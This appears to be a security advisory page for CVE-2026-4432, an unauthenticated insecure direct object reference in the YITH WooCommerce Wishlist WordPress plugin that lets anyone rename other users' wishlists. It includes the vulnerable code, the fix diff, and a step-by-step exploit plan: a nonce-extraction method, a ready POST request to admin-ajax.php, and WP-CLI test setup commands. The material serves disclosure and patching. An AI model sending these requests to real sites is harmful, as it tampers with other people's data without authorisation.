YITH WooCommerce Wishlist < 4.13.0 - Unauthenticated Insecure Direct Object Reference to Wishlist Rename
Description
The YITH WooCommerce Wishlist plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to 4.13.0 (exclusive) due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to rename other user's wishlists.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<4.13.0What Changed in the Fix
Changes introduced in v4.13.0
Source Code
WordPress.org SVN# Research Plan: CVE-2026-4432 - YITH WooCommerce Wishlist Unauthenticated IDOR ## 1. Vulnerability Summary The **YITH WooCommerce Wishlist** plugin (versions < 4.13.0) contains an **Insecure Direct Object Reference (IDOR)** vulnerability in its AJAX handling logic. Specifically, the function `YITH…
Show full research plan
Research Plan: CVE-2026-4432 - YITH WooCommerce Wishlist Unauthenticated IDOR
1. Vulnerability Summary
The YITH WooCommerce Wishlist plugin (versions < 4.13.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in its AJAX handling logic. Specifically, the function YITH_WCWL_Ajax_Handler::save_title is registered as an unauthenticated AJAX action (wp_ajax_nopriv_save_title). This function allows users to update the title of a wishlist but fails to verify if the current requestor owns the wishlist identified by the user-provided token or ID. Consequently, an unauthenticated attacker can rename any user's wishlist if they obtain the corresponding wishlist token.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
save_title - HTTP Method:
POST - Authentication: None (Unauthenticated)
- Vulnerable Parameters:
wishlist_token(orwishlist_id): The identifier of the target wishlist.title(ornew_name): The new name for the wishlist.
- Preconditions:
- The attacker must obtain a valid
save_titlenonce (exposed on the frontend). - The attacker must know or guess the
wishlist_tokenof the target wishlist.
- The attacker must obtain a valid
3. Code Flow
- Entry Point: The AJAX request hits
admin-ajax.phpwithaction=save_title. - Hook Registration: In
includes/class-yith-wcwl-ajax-handler.php, the action is registered:add_action( 'wp_ajax_save_title', array( 'YITH_WCWL_Ajax_Handler', 'save_title' ) ); add_action( 'wp_ajax_nopriv_save_title', array( 'YITH_WCWL_Ajax_Handler', 'save_title' ) ); - Execution:
YITH_WCWL_Ajax_Handler::save_title()is called. - Nonce Verification: The function checks
wp_verify_nonce( $_REQUEST['nonce'], 'save_title' ). - Object Retrieval: The function retrieves the wishlist object using a user-controlled key (likely via
YITH_WCWL_Wishlist_Factory::get_wishlist( $_REQUEST['wishlist_token'] )). - Vulnerable Sink: The function calls
$wishlist->set_name( $_REQUEST['title'] )and$wishlist->save()without checking ifget_current_user_id() === $wishlist->get_user_id().
4. Nonce Acquisition Strategy
The save_title nonce is generated for unauthenticated users and localized into a JavaScript object on pages containing the wishlist shortcode.
- Shortcode: The primary shortcode is
[yith_wcwl_wishlist]. - Setup: Create a public page with this shortcode.
- Extraction:
- Navigate to the page as a guest.
- Use
browser_evalto extract the nonce from theyith_wcwl_l10nobject. - Verbatim Variable:
window.yith_wcwl_l10n?.save_title_nonce
5. Exploitation Strategy
Step 1: Discover Target Wishlist Token
In a real-world scenario, tokens are often public in URLs (e.g., ?wishlist_token=ABCDEF). In a test environment, we will extract the token for a specific user's wishlist via WP-CLI.
Step 2: Acquire Nonce
Navigate to a page where the plugin is active and extract the save_title nonce.
Step 3: Execute Rename Request
Send a POST request to admin-ajax.php.
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=save_title&nonce=[EXTRACTED_NONCE]&wishlist_token=[VICTIM_TOKEN]&title=Hacked_Wishlist_Name
Note: If title fails, the parameter may be wishlist_name based on the REST controller naming.
6. Test Data Setup
- Create Victim User:
wp user create victim victim@example.com --user_pass=password123 - Create Victim's Wishlist:
- Log in as
victimor use SQL to insert a wishlist intowp_yith_wcwl_wishlists. - Ensure the wishlist has a known
wishlist_tokenandwishlist_name(e.g., "Private Stuff").
- Log in as
- Create Public Nonce Page:
wp post create --post_type=page --post_status=publish --post_title="Wishlist Page" --post_content='[yith_wcwl_wishlist]' - Extract Victim Token for PoC:
wp db query "SELECT wishlist_token FROM wp_yith_wcwl_wishlists WHERE wishlist_name='Private Stuff' LIMIT 1" --skip-column-names
7. Expected Results
- The AJAX response should return a success status (likely
{"result":"true"}or a JSON object containing the new title). - The victim's wishlist name in the database will be updated from "Private Stuff" to "Hacked_Wishlist_Name".
8. Verification Steps
Verify the database state after the attack:
wp db query "SELECT wishlist_name FROM wp_yith_wcwl_wishlists WHERE wishlist_token='[VICTIM_TOKEN]'"
The output should be Hacked_Wishlist_Name.
9. Alternative Approaches
If the save_title AJAX action is blocked or parameter names differ:
- Check for
wishlist_id: Try passing a numeric ID instead of a token if the factory supports it. - Check
wishlist_namevstitle: Use thehttp_requesttool to check for error messages in the response that might reveal expected parameter names. - REST API Check: Although primarily an AJAX vulnerability, check if
POST /wp-json/yith/wishlist/v1/lists(registered inclass-yith-wcwl-rest-v1-lists-controller.php) allows updating existing lists by including anidortokenin the payload despite being intended for creation.
Summary
The YITH WooCommerce Wishlist plugin is vulnerable to an unauthenticated Insecure Direct Object Reference (IDOR) via its AJAX title-saving functionality. Attackers can rename any user's wishlist by providing the target wishlist's token and a valid nonce, as the plugin fails to verify if the requester owns the wishlist being modified.
Vulnerable Code
// includes/class-yith-wcwl-ajax-handler.php // Line 39-40: Registration of unauthenticated AJAX action add_action( 'wp_ajax_save_title', array( 'YITH_WCWL_Ajax_Handler', 'save_title' ) ); add_action( 'wp_ajax_nopriv_save_title', array( 'YITH_WCWL_Ajax_Handler', 'save_title' ) ); --- // includes/class-yith-wcwl-ajax-handler.php public static function save_title() { if ( ! isset( $_REQUEST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'save_title' ) ) { wp_send_json( array( 'result' => false ) ); } $wishlist_token = isset( $_REQUEST['wishlist_token'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['wishlist_token'] ) ) : false; $wishlist_name = isset( $_REQUEST['title'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['title'] ) ) : false; $fragments = isset( $_REQUEST['fragments'] ) ? wc_clean( $_REQUEST['fragments'] ) : false; $wishlist = YITH_WCWL_Wishlist_Factory::get_wishlist( $wishlist_token ); if ( $wishlist && $wishlist_name ) { // Missing ownership check here before modification $wishlist->set_name( $wishlist_name ); $wishlist->save(); wp_send_json( array( 'result' => true, 'fragments' => self::refresh_fragments( $fragments ), ) ); } wp_send_json( array( 'result' => false ) ); }
Security Fix
@@ -302,16 +302,12 @@ ); } - if ( ! empty( $fragments ) ) { - foreach ( $fragments as $id => $options ) { - if ( isset( $options['is_user_owner'] ) && ! $options['is_user_owner'] ) { - wp_send_json( - array( - 'result' => false, - ) - ); - } - } + if ( $wishlist && ! $wishlist->is_current_user_owner() ) { + wp_send_json( + array( + 'result' => false, + ) + ); } $wishlist->set_name( $wishlist_name );
Exploit Outline
1. **Identify Target**: Locate a victim's wishlist token, typically found in public share URLs or while browsing public wishlists (e.g., `?wishlist_token=ABCDEF`). 2. **Obtain Nonce**: Access any page on the site that loads the wishlist functionality (e.g., the shop or a page containing the `[yith_wcwl_wishlist]` shortcode) as an unauthenticated guest. Extract the `save_title` nonce from the `window.yith_wcwl_l10n.save_title_nonce` JavaScript variable. 3. **Execute IDOR**: Send an unauthenticated AJAX request to `/wp-admin/admin-ajax.php` with the following POST parameters: - `action`: `save_title` - `nonce`: [EXTRACTED_NONCE] - `wishlist_token`: [VICTIM_TOKEN] - `title`: [NEW_WISH_LIST_NAME] 4. **Verification**: Observe that the victim's wishlist name has been updated in the database or frontend regardless of the attacker's lack of ownership.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.